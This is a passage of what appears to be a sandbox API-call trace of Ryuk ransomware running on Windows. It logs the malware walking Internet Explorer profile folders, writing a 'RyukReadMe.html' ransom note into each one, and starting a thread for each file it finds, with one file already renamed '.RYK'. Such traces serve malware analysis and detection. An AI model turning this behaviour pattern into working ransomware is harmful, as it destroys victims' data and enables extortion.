	[0261.160] CloseHandle (hObject=0x8e4) returned 1
	[0261.160] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0261.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4
	[0261.402] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.403] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 1
	[0261.403] SetLastError (dwErrCode=0x0) 
	[0261.404] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920
	[0261.404] GetLastError () returned 0xb7
	[0261.404] CloseHandle (hObject=0x920) returned 1
	[0261.404] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0261.405] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.405] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0261.405] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0261.405] SetLastError (dwErrCode=0x0) 
	[0261.405] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\owlvmzrc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920
	[0261.406] GetLastError () returned 0x0
	[0261.406] WriteFile (in: hFile=0x920, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0261.408] CloseHandle (hObject=0x920) returned 1
	[0261.410] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0
	[0261.410] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0261.410] SetLastError (dwErrCode=0x0) 
	[0261.410] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0
	[0261.410] GetLastError () returned 0xb7
	[0261.410] CloseHandle (hObject=0x8e0) returned 1
	[0261.410] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65d58120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65d58120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65d58120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1
	[0261.411] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0
	[0261.413] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.414] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95014270, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0x95014270, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x5a2be690, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4122, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT.RYK", cAlternateFileName="MSIMGS~1.RYK")) returned 1
	[0261.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920
	[0261.416] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.417] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0261.417] SetLastError (dwErrCode=0x0) 
	[0261.417] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934
	[0261.418] GetLastError () returned 0xb7
	[0261.418] CloseHandle (hObject=0x934) returned 1
	[0261.418] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0261.418] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.419] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1
	[0261.419] SetLastError (dwErrCode=0x0) 
	[0261.419] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938
	[0261.419] GetLastError () returned 0x0
	[0261.419] WriteFile (in: hFile=0x938, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0261.422] CloseHandle (hObject=0x938) returned 1
	[0261.422] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0261.422] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.423] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0261.423] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0261.423] SetLastError (dwErrCode=0x0) 
	[0261.423] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938
	[0261.424] GetLastError () returned 0x0
	[0261.424] WriteFile (in: hFile=0x938, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0261.426] CloseHandle (hObject=0x938) returned 1
	[0261.426] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1
	[0261.427] SetLastError (dwErrCode=0x0) 
	[0261.427] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938
	[0261.427] GetLastError () returned 0xb7
	[0261.427] CloseHandle (hObject=0x938) returned 1
	[0261.427] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0261.432] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.432] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="RECOVE~2.DAT")) returned 1
	[0261.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c
	[0261.434] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.435] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6dd28c60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6dd28c60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe35acf0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", cAlternateFileName="RECOVE~1.DAT")) returned 1
	[0261.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940
	[0261.506] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.507] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe35acf0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe35acf0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe35acf0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{4BD65~1.DAT")) returned 1
	[0261.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0261.510] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.511] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30603250, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{69512~1.DAT")) returned 1
	[0261.511] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0261.512] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.513] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30603250, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x306293b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", cAlternateFileName="{69512~1.DAT")) returned 0
	[0261.513] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0261.515] SetLastError (dwErrCode=0x0) 
	[0261.515] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.515] GetLastError () returned 0x3
	[0261.516] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0261.516] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.516] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0
	[0261.516] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0261.516] SetLastError (dwErrCode=0x0) 
	[0261.516] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934
	[0261.517] GetLastError () returned 0xb7
	[0261.517] CloseHandle (hObject=0x934) returned 1
	[0261.517] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56715f30, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x56715f30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56715f30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
